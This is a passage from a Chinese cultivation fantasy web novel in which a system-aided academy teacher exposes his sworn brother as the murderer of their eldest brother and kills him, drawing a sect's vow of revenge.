那是个国色天香的少女,单论相貌,相貌比之莫清寒,还要更胜一筹,她双手托着腮,饶有兴趣的看向莫清寒与陆尘二人。
她赤着足,脚腕处系着银色的铃铛,脚稍稍摇晃,那银铃便会发出一阵清脆的响声,像是古老神庙屋檐下,被风吹过的风铃。
少女的眼眸闪烁着红光,眼角下方有一颗美人痣,更是为其平添一股魅惑之色,与身上那一袭白纱的圣洁气息混合,矛盾而又着实迷人。
“莫姐姐,我说你怎麽要来这小地方呢?原来是有心上人啊。”
少女眼眸微眯的笑着,像是狡黠的狐狸一般。
“圣女不要拿清寒说笑了。”
莫清寒眼神柔和的说道。
“啧,莫姐姐,你这位心上人好像不太老实呢,怎麽直勾勾盯着人家看呀?”
少女歪着头,嘴角勾起一抹笑意,她的玉足轻晃,铃铛声一阵接一阵响起,却并不令人烦躁,反而令人着迷。
听到少女这话,众人皆是将目光转向陆尘,陆尘也是这时候才反应过来,连忙将自己停滞的目光说话。
开玩笑,那可是金色啊!
金色传说!
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第十二章 长孙漠遥
陆尘眼眸里的喜悦之色丝毫未因众人的齐齐注视而有丝毫的影响。
金色!那可是帝路争锋之人,仅次於称帝道祖的彩色气运,比陆尘至今为止遇到的所有人气运都要高。
据古籍所载,称帝道祖䭾,一个纪元只会有一人,当帝路显现时,所有的天骄大能皆会义无反顾的踏上那条路,哪怕九成人,最後的结局都是身死於帝路之上,也不会有人有丝毫的退缩。
而这帝路争锋的气运要高於一方至尊,那麽其肯定是最後角逐帝位的顶尖强䭾,比之一方至尊,还要高上不少。
【姓名:长孙漠遥】
【年龄:一十六】
【境界:一转上阳境】
【命格:金色——帝路争锋】
【生平:天生幻瞳,可令人入梦,使人困於回忆或恐惧之中,修行资质极高,自修行以来,一路打破大炎皇朝的修行记录,年不过十六,便登临上阳境,后遭幻瞳反噬,自困於梦境之中,在月圆之日藉由月之精华,以月灵阵为基,服用八品仙草的露珠,幻瞳得以彻底控制,但因长久耽误修行,终失帝位,成也幻瞳,败也幻瞳。】
【近期遭遇:随着境界的提升,幻瞳反而越发不受控制,总会不自觉的释放,甚至是将自己拖入梦境之中,使得其强行压制境界,不敢再破境。】
“八品仙草……”
陆尘自顾自皱了皱眉,要知晓仙草本就罕见,更别说是这八品仙草了,哪怕是冷月宫自己,恐怕也拿不出来吧。
“再看把你眼睛剐了哦。”
少女笑嘻嘻的这般说道,但眸子里却是有一股透骨的寒气浮现。
陆尘倒并未生气,毕竟自己确实直勾勾的盯得人太久,像是什麽没见过女人的痴汉一般。
“比起我的眼睛,我看圣女的眼睛更需要挂念吧。”
陆尘笑了笑说道。
“夫子知道的还不少。”
长孙漠遥愣了一愣,眼底虽闪过一丝不解,但很快便隐藏下来,转而妩媚一笑,像一朵又清澈又招摇的夏花。
“正巧在书上见着过这种情形,等聚会过後,再与圣女详谈。”
陆尘说道。
山峰上的其他三人,哪怕是与长孙漠遥一同前来的莫轻寒,在听得这对话后也是觉得云里雾里的,没有丝毫头绪。
楚星宇则是头埋的更低,脸色阴沉的可怕。
在少女刚到时,楚星宇其实就注意到了她,知晓其身世地位不凡,想要与其交谈一两句,却是被少女直接无视,视若无睹。
“凭什麽?!凭什麽你陆尘一个爬了十年才得来紫府境界的废物如今还能这麽气定神闲!”
他的心好似雷神击鼓一般的在躁动着,明明以为这场时隔多年的聚会,自己终於可以扬眉吐气一番,让莫清寒好好看陆尘与自己的差距,可她们一个个却好像丝毫不把自己的上阳境放在眼里,反而争先恐後的与这个紫府境的家伙说话。
凭什麽!
“一言为定,漠遥静候夫子消息。”
长孙漠遥眨了眨眼睛,玉足轻点,便又坐到那轮弯月之上,在山峰周遭随意游荡。
她看似气定神闲,但内心却久久不能平静,犹如潮水翻涌一般。
“那位相命之人说大离王朝有解我遭劫之机缘,难道就是他?”
少女坐在弯月之上,隔着遥远距离又向那处山峰望去。
“不过一普通的紫府修士,真能解这连神游境大修士都束手无策的症状吗?”
她有些不相信,但目光又难以从陆尘身上离开。
…………
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“三弟,你刚才和冷月宫圣女说的何事?为何我等都听不懂。”
楚星宇强挤出笑意问道。
“此事是圣女私事,我不便多说。”
陆尘摇了摇头。
“三弟!”
楚星宇没来由的大喊一句,身上的剑气宣泄而出,一瞬间令天地之间多了几分寒意。
莫轻寒皱了皱眉,长袖轻舞,便将那股剑气卸的一乾二净。
“我虽不知是何事,但既是我宗圣女私事,二哥还是不要多问了。”
她语气冰冷,目光却是有些担忧的看向陆尘,害怕他被那突然宣泄而出的剑气伤到。
赵拓忽地察觉场上的气氛有些不对,当下识趣的退到一边,准备看场好戏。
“三弟这麽
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多年没见,莫不是把二哥当外人了。”
楚星宇看向陆尘,悻悻然笑道。
“这样吧,你我兄弟二人过两招,把场子热起来,不然大家这麽多年未见,如今束手束脚的,反而是生疏了。”
他又如此说道。
“不如二哥和我过两招,你我都是上阳境,岂不是更合适。”
莫轻寒玉手凭空一抹,一把长剑便是出现在其手中,散发着丝丝缕缕的寒气。
楚星宇面色更加阴沉,一时间进也不是退也不是。
“二哥既然想
过过招,那我自然奉陪。”
陆尘笑了笑说道。
“陆……”
莫清寒转过身来,红唇轻启,刚想要说些什麽,却见陆尘微微摇头,态度十分坚定。
“好!这才像话嘛,男人之间的交手,若是让女子掺手,反倒是显得没骨气了。”
楚星宇心中狂喜,若陆尘真铁了心躲在莫清寒身後,自己还真拿他没办法,但现在陆尘主动站出来,正合了自己心意。
“清寒,你好好看着吧,三弟这修行路上走的磕磕绊绊的废物,是没有资格和你我这种人同行大道的。”
他在心中自顾自这般说道,身上的剑气已然抑制不住的宣泄出来,令天地间凭白多了一份恐怖的威压。
“三弟你放心,我只用紫府境界的灵力,你不会输得太难看的。”
楚星宇手持一把墨色长剑,面色带笑的说道。
“无妨,二哥你尽管用出全力,让我看看我们之间有多少差距。”
陆尘也是笑着回道,丝毫不受那如瀑般宣泄而下的剑意影响。
依靠武道天眼获得这些奖励以来,陆尘并未真正的动过手,所以哪怕是他自己,也并不知晓自己的实力到底在哪个位置。
“三弟,接剑!。”
话音未落,楚星宇便是提剑挥出一道恐怖剑气,剑气纵横而过,哪怕赵拓这般本身就在上阳境界的修士也觉得有些胆寒。
“不愧是倚天剑堂的传人。”
赵拓不自觉的感慨道。
莫清寒脸上则是有些许担忧神色,手中依旧握着一柄长剑。
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第十三章 大荒星陨指
剑气骇人,带着一股魄人的向陆尘袭来,陆尘脚步轻点,便是极为轻易的避开那一道剑气。
武道天眼不仅能窥探他人命格,在这般打斗之下,灵气的各般动向也是被其一一洞察,无所遁形。
在楚星宇将长剑抬起的那一刹那,武道天眼便已经将瞬息后将要挥出的那一道剑气探查而出,那剑气自然不可能集中陆尘。
躲开那道凌厉剑气后,陆尘并未停步,而是以一种常人所难以捉摸的速度奔向楚星宇,左手化掌为拳,猛的砸向楚星宇。
这一拳朴实无华,并未有任何的招式又或者意气在其中,犹如正当壮年的汉子在街头斗殴一般,结结实实的挥出一拳。
就是这麽朴实无华的一拳,却是令楚星宇头大如斗,从其中感受到一股骇人的压迫感,如同是蛮荒大妖奋力向自己砸出一拳一般。
他有些慌乱的提剑格挡,但当陆尘的拳头砸落时,这柄由炼器大师所锻造的上品灵器竟是轻而易举的断裂,好似是张薄纸。
拳风刚烈,天地之间顿时一股浩荡之气激荡散开。
受这一拳砸下,楚星宇踉跄跌倒在地,嘴角竟是有丝丝缕缕的鲜血流出。
陆尘对此倒并不会有什麽愧疚之意,若他刚才中了那一道剑气,下场只会比这个更惨。
“不愧是荒古神体。”
陆尘自己也是忍不住的赞叹,仅仅依靠肉身之力便能伤及一位上阳境的修士,这已经堪称着实恐怖了。
“三弟,好手段。”
楚星宇站起身来,有些狼狈的擦了擦嘴角鲜血。
他有些不明白,为什麽陆尘区区紫府境界,肉身会恐怖到这般程度,与那些荒古大妖或是圣地世家的传人无二。
那一拳并未含丝毫的灵气,单单只是纯粹的肉身力量,竟压的自己丝毫喘不过气来。
“侥幸侥幸。”
陆尘说道。
“那三弟不妨试试,这一剑如何?!”
楚星宇忽地大喝一声,双手握住剑柄,高举手中长剑,整个人一跃而起,在半空之中,以举火燎天之势将要斩下一剑。
天地之间忽地有无数剑气宣泄而出,隐隐间更是有乌云蔽日,使得天地间的光只凝聚在楚星宇的那一剑上。
巨大的虚影在楚星宇的身後凝聚,同样是一人挥剑,那剑影却是硕大百倍,犹如擎天之柱一般。
看着那半空中的巨大剑影,赵拓眉头皱起,一时间不知道该阻拦还是不该阻拦。
以这般威势来看,楚星宇绝不可能仅仅动用紫府境界的灵气,这一击,恐怕已经是上阳境强者的全力一击,绝不是陆尘这般紫府境界可以抗衡的。
莫清寒则是丝毫未有犹豫,身影瞬间闪到陆尘身前。
“楚星宇?你这是何意!”
她娇声呵斥,身上的寒气亦是宣泄而出,与那如雨般落下的剑气相抗。
“三弟,你当真要躲在女人身後吗?!”
楚星宇双眸猩红,面色已经有些狰狞,他此次来本是抱着衣锦还乡的心态,却三番两次的被众人忽视,又加之被只有紫府境界的陆尘一拳击退,当下心境已经再难平静,只觉得自己要一剑挥下,将万物都斩灭。
“无妨,你信我。”
陆尘轻声对莫清寒说道。
莫清寒转过头来看向陆尘,她的眸子有些湿润,清丽绝尘的小脸上满是担忧之色。
“信我。”
陆尘郑重点头,莫清寒贝齿轻咬红唇,最终还是离开。
见莫清寒不再挡在陆尘身前,楚星宇再无任何顾忌,当下将长剑举过头顶,而後以举火燎天之势猛的一斩。
其身後的那巨大虚影亦是在同一时间挥剑,掀起一股滔天气焰的剑痕。
莫清寒紧锁着眉头,握着长剑的纤纤玉手更是微微的颤抖,看得出来心境波澜,难以平静。
这般波澜的心境她已经很多年没有出现过了,没想到多年後与陆尘再见,自己依旧是放不下。
…………
“师尊,当真要清寒去大离赴会吗?”
临行前,莫清寒不解的问道。
“当然要去。”
一身宫装的美妇淡然说道。
“可我遇见故人,心境再起波澜。”
莫清寒道。
“就是要你
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心境再起波澜之後,再次绝情断念,清心断欲,方可达到真正的心如止水,你自己试问一下,这些年来你看似心静,但可曾真的心静?”
宫装美妇缓缓而语。
莫清寒愣在原地,记忆中原本已经模糊的身影竟又变的清晰起来。
“弟子明白了。”
…………
“果然,我还是放不下他,未能真正的心如止水。”
莫清寒凄惨一笑,她看向楚星宇,眸子忽地又泛起杀意。
“陆尘若是有何意外,你必当百倍奉还。”
她此时面色冰冷,身上的寒意不自觉的宣泄而出,令一旁的赵拓都有些喘不过气来。
而此时那举火燎天之势斩落的剑气倾泻而下,一刹那间好似是要劈开天地一般。
陆尘却是站在原地不动,并没有任何想要躲避的念头。
莫清寒
手中的长剑嗡鸣,好似是与剑主心灵相通一般,发出令人神伤之音。
就在这千钧一发之际,陆尘抬起手,一指点出。
大荒星陨指将出。
其体内灵气如同是奔涌翻腾的江水一般汇聚於一指间,他指尖一点,便有一颗硕大无比,遮天蔽日的星辰从天而落,带着无与伦比的威压与那道剑气相碰撞。
星辰光芒极盛,周遭又有万千星辉裹挟,每一道星辉都如同是从天而路的雷霆一般,与那颗星辰一同砸向楚星宇。
砰地一声,天地为之色变!
浩荡的灵气波动在一瞬间宣泄而出,此时书院的所有人都抬头向那山顶处望去,就连在主持内院选拔的祭酒,也是忍不住的往那山峰看去。
“这是怎麽回事?这般威势,难道是冷月宫的仙子和那位倚天剑堂的传人交手了?”
他忧心忡忡,一时间竟想离开此地去後山一探究竟。
赤足的妩媚少女则是饶有兴趣的歪着头,嘴角勾起笑意,在弯月上遥遥看着这一幕。
“不简单哦。”
她啧啧一声说道。
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第十四章 许端之死
尘烟散去,楚星宇重重的砸落在地,硬生生的在山峰上砸出一个大坑。
他伤口处鲜血流下,抑制不住的将衣裳染红,头发散披整个人显得极为狼狈。
不远处,陆尘负手而立,气定神闲,竟是没有丝毫的战损。
莫清寒长舒一口气,看向陆尘的目光又变得十分复杂。
“莫非这十多年来你一直在藏拙吗……”
她暗自在心里嘀咕,有点看不透如今的陆尘,刚才楚星宇那一击,哪怕是自己也要全力应对,不可丝毫的掉以轻心,但陆尘在正面交锋中,不仅重创楚星宇,自己更是没有分毫的损伤,属实是骇人听闻。
赵拓则更是呆愣在原地,忽地明白陆尘为何会有自信去与书院祭酒商谈入内院一事。
“没伤着二哥吧。”
陆尘走到楚星宇面前,伸出手想拉他一把,楚星宇则是恍若未见,依旧躺在血泊之中,呆愣愣的看着天幕。
“为什麽?”
他双目无神的问道。
“为什麽你们都要这麽对我?”
“为什麽大哥五妹他们当年都偏心於你!如今你不过是紫府境界,五妹依旧不肯多看我一眼!”
他仰天怒吼,猛的起身,向陆尘拍出一掌,陆尘巍然不惧,一拳砸出,再度将楚星宇击飞倒地。
“你的心乱了,先静下来吧。”
陆尘皱了皱眉说道,楚星宇的心境在一开始就有波澜,不然以其上阳境的实力,哪怕自己有花神之蕊以及荒古神体精血加身,也不会赢得这般轻易。
“楚星宇!切磋已过,为何还要出手伤人?”
莫清寒闪身到了楚星宇身前,将手中长剑对紧其脖颈之处,剑尖锋芒毕露,晃的楚星宇有些睁不开眼。
“我就说吧……你们所有人都护着他,当年我们五人结义,说好的生死与共,可实际上的,大哥,四弟,你!你们所有人都偏心於他!所有人都不会多看我一眼!哪怕这麽多年过去,我已经是倚天剑堂的亲传,他不过是小小的书院夫子,你们还是不肯多看我一眼!”
楚星宇凄惨一笑,双手竟是主动抓住莫清寒长剑剑身,使得其上沾惹些许鲜血,瞬间变得杀气腾腾。
场中其馀三人皆是静默不作声,一时之间陷入一片死寂之中。
“能告诉我为什麽吗?为什麽你始终不肯多看我一眼,我到底哪里比不过他!”
楚星宇面向莫清寒,手却直指陆尘,面目狰狞咆哮而语。
赵拓转过身去,全当没看见。
莫清寒则不愿多说什麽,自行挥散手中长剑。
见众人都对其不理不睬,楚星宇更是仰天大笑起来,只是这笑声凄惨,像是狼嚎一般。
他转而面向陆尘,眼中满是恨意。
如今在众人面前这般狼狈,他也没有任何心思去维护昔年好友的那份体面,索性是撕破脸皮怒道:“为什麽!为什麽我费尽心思夺得洗髓丹,拜入倚天剑堂门下,这麽多年来苦心修炼,却还不是你这区区紫府境的对手!为什麽!为什麽连老天爷都站在你这边!”
“夺得洗髓丹?你从何处夺得?”
听到楚星宇此言,陆尘脸色一沉,当即瞬身到了楚星宇的面前,揪住他的衣领怒问。
莫清寒与赵拓也马上意识到了什麽,当下用一种怀疑的目光紧盯着楚星宇。
见众人这般姿态,楚星宇忽地一愣,意识到自己好像说了什麽不该说的话。
“很多年前的事了,从一批山贼手中夺下的。”
楚星宇有些磕磕绊绊的说道。
“你撒谎!当年大哥说要去寻洗髓丹,时隔多年才寄回信来说洗髓丹已经寻到,最後是你去接应大哥,给我们带回大哥的死讯,你说说,怎麽这麽凑巧,大哥死了,你服用上了洗髓丹!”
赵拓也立即冲了过来,对着楚星宇厉声问道。
他此刻也丝毫不顾及书院与倚天剑堂之间的关系,只想得出一个真相。
“我不知道如何解释,但此丹与大哥那枚,绝无关系。”
楚星宇的目光有些闪躲,但始终咬定自己这枚洗髓丹与大哥那枚没有关系。
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这麽多年过去,各般线索也早已经断了,哪怕陆尘在武道天眼下发现楚星宇服用过洗髓丹,也并未打草惊蛇,直到他自己脱口而出夺得洗髓丹,陆尘才忍不住的厉声质问。
“长孙圣女!”
就在场面一度死寂之时,陆尘忽地朝远处招了招手。
长孙漠遥虽不明所以,但当下还是身影闪烁,一瞬间到了山峰之上。
“夫子有何指教?”
少女歪头笑问。
她如今对陆尘越发好奇,区区一紫府境界的修士竟然能重创上阳境界的修士,这般实力,哪怕是那些隐世宗门的传人也不过如此,怎麽会蜗居在这一小小的白鹿书院当什麽外院夫子。
“你的幻瞳能将人拉㣉回忆之中是吗?”
陆尘直截了当的问道。
饶是以他这十多年来在书院摆烂养成的风轻云淡的性子,此时也是有些急躁,心境难以平静,没有丝毫拐弯抹角的说道。
少女眸子中红光闪烁,身负幻瞳一
事,哪怕是同宗的莫清寒也并不知晓,但陆尘却能在第一时间便看出其中端倪,属实是令她吃惊。
“可以。”
长孙漠遥点了点头,虽说父亲一直嘱咐她不可对外暴露幻瞳一事,但此次既然是相命师所言的机缘所在,自己自然无需再藏着掖着了。
“但我对幻瞳的控制并不够,你们或许也会被其波及。”
长孙漠遥顿了顿又说道。
“无妨。”
陆尘等三人都坚定摇头,许端对他们每一个人都意义非凡,如今得知当年许端之死有疑,自然不会畏手畏脚。
“凭什麽如此对我,你们三人把我当成什麽了!”
楚星宇神情有些慌乱,他怒吼一句,当下想要起身,却又被莫轻寒的长剑硬生生的逼了回去。
“幻瞳,开。”
少女眼睛闭起,再睁眼时,便有一道红光自其双眸之中掠出,红光闪烁,场中的众人顿时觉得天地一黑,世界失去了颜色。
第十五章 大炎焚心
天地混黑,世界的一切好像都失去了颜色。
待得众人的视线再复清明之时,已经是出现了一处荒漠之中。
㣉眼之处一片黄沙,有狂风席卷而过,带起滔天的尘沙。
只见有个身形粗壮的男人迎着风沙前行,他手中握着把长刀,刀尖血迹斑斑,哪怕是在这狂风黄沙之下也未褪色。
他的衣裳破旧,亦是被鲜血染红,左肩处有一道极为明显的刀伤,鲜血仍旧止不住的在流。
男人的步履蹒跚,似乎已经到了强弩之末的状态。
“大哥!”
赵拓惊呼一声,想要冲向男人所在的方向,却是被长孙漠遥一把呵斥住。
“这是幻境,别当真了,否则你也要沉沦其中。”
听到长孙漠遥这麽一说,赵拓这才静下来,不敢再轻举妄动。
就在男人身形摇摇晃晃,有些支撑不下去时,一匹骏马自远处宾士而来,马上坐着的,正是楚星宇。
陆尘等人齐齐将目光转向真正的楚星宇,楚星宇却是抱头痛哭起来,面色十分的狰狞。
“大哥!”
黄沙狂风之中,楚星宇翻身下马,连忙赶到男人身旁,将其搀扶住。
“二弟……你来了。”
男人刚想开口说话,却是猛的吐出一口鲜血。
“大哥!你撑住……我这就带你回去!”
楚星宇焦急说道。
男人摇了摇头,脸色惨白的笑道:“无妨,你大哥我还死不了,最多也就昏几天。”
“别说话了大哥,三弟他们都还在等着你。”
楚星宇将男人搀扶上马,便欲带他离开。
“等等……这颗丹药,你记得喂给三弟服用,我们说好一同修行,但三弟迟迟没有进展,可别让他掉队了。”
男人取出一粒丹药,将其郑重交到楚星宇的手中。
“这是……洗髓丹?还是金色的绝品洗髓丹?”
楚星宇呆愣在原地,有些不可置信的问道。
“对,迟则生变,这粒丹药不知多少人盯着,你早些喂给三弟,不然会给我们五人徒惹是非。”
男人说完这些,眸子便有些困乏的闭起,趴在马背之上,享受着难得的休憩。
“为什麽?”
楚星宇低下头,声音冰冷而语。
“什麽……”
男人的脑袋已经昏昏沉沉,并没有听清楚星宇在说些什麽。
“为什麽你们所有人都要偏心於他!小妹是,你也是!”
“明明是我千里迢迢来救你!为什麽要把这颗丹药给他!凭什麽!”
楚星宇抑制不住的怒吼,男人却早已昏死过去,听不到任何声响。
看着马背上的男人,楚星宇的手颤抖的捡起地上那把染血的刀。
“是你逼我的……都怪你,都怪你们!”
他颤颤巍巍的拿起刀,脸上已经满是泪水。
楚星宇闭上眼睛,猛的一挥刀,他能感受到有什麽滚烫的液体溅射到了自己的脸上。
那是血。
男人发出一声惨叫,从马背上跌落,他的眼睛睁开,看向持刀的楚星宇。
出乎楚星宇的意料,男人的眼中并没有愤怒或是疑惑,而是带着一股惋惜的目光,像是打碎了一壶极好的酒一般。
楚星宇受不了这般目光,仓惶扔下那把刀,发了疯似的往前跑。
看到此处,长孙漠遥便是眸子一闭,令众人离开这场梦魇。
天地变换,众人重新回到山峰之上,一片死寂。
似乎是受不了这般死寂,楚星宇忽地嚎啕大哭起来,他看向陆尘等人,面目狰狞。
“不是我……不是我……都是你们逼得……都是你们害得啊!”
他痛哭流涕,言语已经开始变得凌乱。
“无需多言,一命还一命。”
陆尘拳头攥紧,心中的杀意已经攀升到了极点。
无论有任何的理由,楚星宇都确确实实的杀害了许端,陆尘自然不可能去对他有任何的怜悯。
莫清寒与赵拓亦是灵气宣泄而出,按捺不下心中的杀意。
三人相视,极为默契的一同出手,这自然不是说三人想要以多欺少,事实上莫清寒二转上阳境的实力,一人也可轻易斩杀楚星宇。
之所以三人一同出手,那是因为他们三人都对大哥许端看的极为重要,宛如是至亲一般,许端身死於楚星宇之手,昔年所谓的情谊自然也就烟消云散,彼此间唯有死仇。
长孙漠遥则是站在稍远的地方,饶有兴趣的看着眼前这一幕戏。
昔年至交,反目成仇,好戏好戏。
她轻晃着玉足,脚腕处的银铃作响,像是为他们五人而作的悲歌。
面对三人全力袭
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来的攻势,楚星宇自知这绝不是自己所能抗衡,当下咬紧牙关,猛的捏碎了一块玉筒。
“放肆!”
只听得一道极为苍老的声音从九天之上传来,紧接着便有一遮天蔽日的巨手猛的拍下,裹挟着一股令人难以抵抗的威压。
陆尘等人感受到这股威压,不得不避让开来。
一道虚影缓缓浮现在楚星宇的身前,
神情冷漠的扫视着场中众人。
那是个须发皆白的老者,眉眼如剑般锋利。
“谁敢动我倚天剑堂的传人。”
他负手而立,哪怕只是一道虚影,身上宣泄而出的剑气也是压的众人喘不过气来。
“他今日走不掉的。”
莫清寒长剑直指老者,眉心处有一轮弯月印记显现,整个人身上迅速攀升起一股极寒气息,令人不敢靠近。
陆尘则更是直接,一指点出,已是有星辰划破星空而落。
“蜉蝣撼树,不自量力!”
老者冷哼一声,凭空挥出一道剑气,竟是轻而易举的击碎那星辰。
浩荡的气息宣泄而出,仅仅是瞬息间,莫清寒与赵拓便是猛的向老者袭去,各自都将气息攀升到极点,拿出最强杀招。
“你先离去,我这道假身不久便要消散,今日所受之耻,来日再清算。”
老者传言给楚星宇,楚星宇这才恍然醒悟过来,当下便欲离开这事非之地。
“别走了。”
楚星宇刚一凌空,陆尘的拳头便是猛然映入眼帘之中,狠狠的砸落。
砰的一声,楚星宇便是如断了线的风筝一般跌落在地,猛的砸出一个大坑。
陆尘手中灵气凝聚,竟是化作一团火莲,令天地间瞬间灼热异常。
“焚!”
火莲一瞬绽放,火焰在刹那之间凭空点燃,冲天而起,化作一道极为恐怖的火柱。
“竖子安敢!”
老者暴喝一声,却在莫清寒与赵拓二人的围攻下,只能眼睁睁的看着那火柱不断的焚烧。
“大哥,我们五人走到今天这一步,你无论如何也不会开心吧。”
陆尘伸出手,想要触摸些什麽,可落在他手上的,却只有飘散的尘灰。
尘埃四散,犹如昔年故人。
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第十六章 辞别
感受到楚星宇肉身气息的消散,那道虚影暴喝一声,浑身迸发出一股极为骇人的剑气,猛的将莫清寒与赵拓重创倒地。
他袖袍一挥,将楚星宇的神魂拘禁入袖中,而後死死的盯住陆尘,眸子里满是杀气。
“等着吧,来日倚天剑堂,必定问剑白鹿书院!”
那道虚影高声而语,天地之间竟都是其声在回响。
陆尘皱了皱眉,自己虽报得私仇,但倚天剑堂显然要把这笔账一同算在白鹿书院头上,如此一来,倒确实是连累书院一番。
况且楚星宇魂魄未灭,虽说肉身被毁,已经受了重创,但总归是还活着。
“啧,好威风呀,怎麽不来问剑冷月宫呀?”
长孙漠遥一副看热闹不嫌事大的表情,双手托着腮疑惑问道。
那道虚影看向长孙漠遥,想说些什麽,但最终没有开口,冷哼一声,身影便是消散於天地之间。
若不是这妮子在,你等三人皆要死於此地。
他心中如此念道,故而此时虽杀意极盛,但也不愿再纠缠下去,就此带着楚星宇的神魂离去。
书院中,听到那虚影的高语,祭酒手一抖,手中茶盏猛的摔碎在地。
倚天剑堂要问剑白鹿书院?
那可是倚天剑堂啊!
即使放在卧虎藏龙的大轩皇朝,也是一等一的势力。
他们若是真要问剑白鹿书院,那白鹿书院将会是灭顶之灾。
祭酒面色惨白,当即便往後山而去。
而书院众人也是忧心忡忡,各相议论起来。
此时诸方暗中潜藏的人马也是喜出望外,忍不住的大笑起来。
他们原些被倚天剑堂和冷月宫的出场给震慑,以为白鹿书院搭上了这两艘大船,却是没想到白鹿书院竟是落得这般下场。
“问剑白鹿书院者,亦如问剑冷月宫。”
就在暗中潜伏之人意欲行动之时,又有一道银铃般的声音自山峰之处传出,当即打断了他们的念想。
他们虽不清楚白鹿书院中到底发生了什麽,但既然有人敢这般说话,那麽无疑代表了白鹿书院已经抱上了冷月宫的大腿,那此时的白鹿书院就不是他们所能觊觎的了。
山峰处,长孙漠遥说完此番话便向陆尘莞尔一笑,眨了眨狭长的眸子。
“多谢。”
陆尘拱手谢道,若没有长孙漠遥这句话,恐怕白鹿书院接下来的日子会好难过了。
“无妨,关於我的眼,夫子有何指教?”
长孙漠遥笑着问道。
“圣女控制不住这幻瞳吧,我曾见古书上记载,天生幻瞳者,若受幻瞳之困,可於八月十五借月之精华,饮八品仙草之晨露入体,籍此,方可解幻瞳之疾。”
陆尘说道。
长孙漠遥眉头轻蹙,轻叹了口气:“八品仙草啊,这可不好找,而且还需八月十五之前。”
先前一直带着笑意的少女第一次露出愁容,悠悠的叹了口气。
“无需真正的仙草,只需仙草晨露即可,以冷月宫的底蕴,想必也并不难寻。”
陆尘又道,他要比长孙漠遥自己更希望长孙漠遥能解那幻瞳之疾,要知道长孙漠遥身负的可是金色气运,天知道系统给予的奖励届时会有多麽的丰厚。
“说的也是,那我八月十五再来拜访夫子。”
少女很快的又恢复到那笑吟吟的模样,轻声说道。
陆尘点了点头,长孙漠遥便消失在原地。
少女走後,莫清寒才转头看向陆尘,嘴唇微动,似乎想说些什麽。
“与我去冷月宫吧,此处太小,不该是你待的地方。”
莫清寒犹豫良久后说道。
以陆尘与楚星宇一战所表现出来的实力,哪怕放在冷月宫年轻一辈中也是佼佼䭾,在莫清寒看来,屈居於这白鹿书院之中,确实算得上是屈才了,哪怕没有别的私心,她也不愿陆尘埋没在此。
“我散漫惯了,去了别处反而不自在。”
陆尘摇了摇头,婉言拒绝。
冷月宫这般庞然大物与白鹿书院相比,其中的天之骄子定然会更多,自己指点获得的奖励肯定也会更多。但到了冷月宫,自己肯定不能像在白鹿书院这般闲散随性,若是被那些大人物发现了什
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麽隐秘,将自己拘禁起来,到时候可真是叫天天不应,叫地地不灵了。
相较起来,在自己只有紫府境界的情况下,自然是在白鹿书院要安全的多。
“是因为我你才不愿去嘛……若你不愿去冷月宫,我可举荐你去大炎皇朝的其他势力,比之白鹿书院,皆是要好上十倍不止。”
莫清寒微微一愣,似乎并未想到陆尘会拒绝,她贝齿轻咬红唇,眸子有些通红的看向陆尘。
“你还在怪我吗……”
陆尘摇头。
“你无需多想,我从未怪过你什麽,大道无情,你我昔年分离,并非是你之过。至於去其他势力就更不必了,白鹿书院挺好的。”
陆尘顿了顿说道。
“尘年往事早已随风而去,你无需对我有何愧疚,你我既踏上这条修行路,来日大道相见即可,流连往事,反倒对你我皆不利。”
见莫清寒依旧红着眼眶,陆尘又补充说道。
“好,你我来日,大道相见!”
良久后,莫清寒彷佛下定某种决心,抬起那极为好看的眸子,异常坚定的说道。
她的白衣随风而动,月光从很远处洒落,照的原本就极为好看的女子更加动人心魄,令人忍不住的怜惜。
“若白鹿书院有何事,可随时来冷月宫找我,倚天剑堂势大,你千万不要自己一个人前去为大哥报仇。”
莫轻寒又道。
陆尘点了点头,二人就此别过,也未再过多纠缠。
大道繁杂而无情,儿女情长在其之中,也不过沧海一粟而已。
【夫子之责行使完毕】
【宿主可从以下三种奖励中挑选一项】
【一:五品月轮丹(可令修习月之心法䭾事半功倍,得月华青睐)】
【二:地级上品武技《寒霜冷影》(身法类武技)】
【三:五十年紫府境修为】
话音未落,系统的机械声便在陆尘的脑海之中响起。
“看来是她的心境彻底定了下来。”
看着莫轻寒离去的背影,陆尘自顾自的念道。
第十七章 死结不可解
“二,地级上品武技。”
陆尘并未过多犹豫,便选择了第二道奖励。
蓝色命格的奖励大多是三选一,并非如紫色命格那般三者皆得。
而莫轻寒的蓝紫气运虽也是三选一,但质量上却是要比蓝色气运提供的奖励好上不少。
五品月轮丹虽极为珍贵,但对於莫轻寒与长孙漠遥这般修行月属心法之人才能发挥效用,对於陆尘自己而言则是毫无用处,
至於紫府境修为,虽看似很多,但对於陆尘而言却并非是那麽要紧之事。
在这般情况下,自然是先将这本身法类武技收入囊中,对自己的实力提升最大。
身法之技乃是与人对敌之先机所在,正所谓占尽先机,这身法之术,便是占尽先机之根本。
哪怕是後手遭人压迫近逼,亦是可凭藉此番身法秘籍闪避,再寻出手之机。
原先陆尘并未有什麽紧迫感,只觉得自己有武道天眼在手,迟早能苟出个应有尽有,但如今与倚天剑堂已成死仇,显然不可能再像以往那般优哉悠哉了。
他稍一挥袖,手中便出现了一柄长剑。
“该问剑的,是我才对。”
陆尘向远处眺望,眸子里的杀意如同是火般燃烧。
许端既死,他与楚星宇之间,便已是不死不休。
…………
大轩皇朝,倚天剑堂。
“废物,倚天剑堂的脸都给你丢尽了。”
大殿之内,一名身穿白袍的老者端坐首位,眸子里满是怒火。
楚星宇神魂飘忽,犹如烛火一般,好似下一刻便要被风给吹灭。
“弟子有辱师门,罪该万死。”
他低着头这般说道,心中却满是怒火,直到如今,楚星宇仍不愿意相信,那个在白鹿书院蹉跎岁月的男人有能斩杀自己的恐怖实力。
“你确实该死,但不是现在,本尊会令人为你寻一具新的肉身,适应后立刻滚进剑冢,至於是浴火重生还是粉身碎骨,看你自己的造化了。”
老者冷哼一声,还未等楚星宇说些什麽,便挥袖将其收入魂灯之中。
“若不是那位大人吩咐,你这般废物别说是保住神魂了,哪怕苟活回来,本尊也定要亲自动手,让你形魂俱灭。”
旁人或许很难想象,饶是以老者这般手眼通天的大能,在提到“那位大人”时也是万分的恭敬,即便身边没有任何人,也不敢有丝毫的怠慢。
…………
大炎皇朝,冷月宫。
“你是说,你这连七品药师都无可奈何的疾症被区区一书院夫子,还是个外院的夫子指出了医治法子?”
月下的凉亭之中,一袭白衣的美妇人面露疑惑神色的问道。
“话是这麽说啦,但女儿觉得他没有骗我。”
长孙漠遥挽住美妇人的手腕,娇声说道。
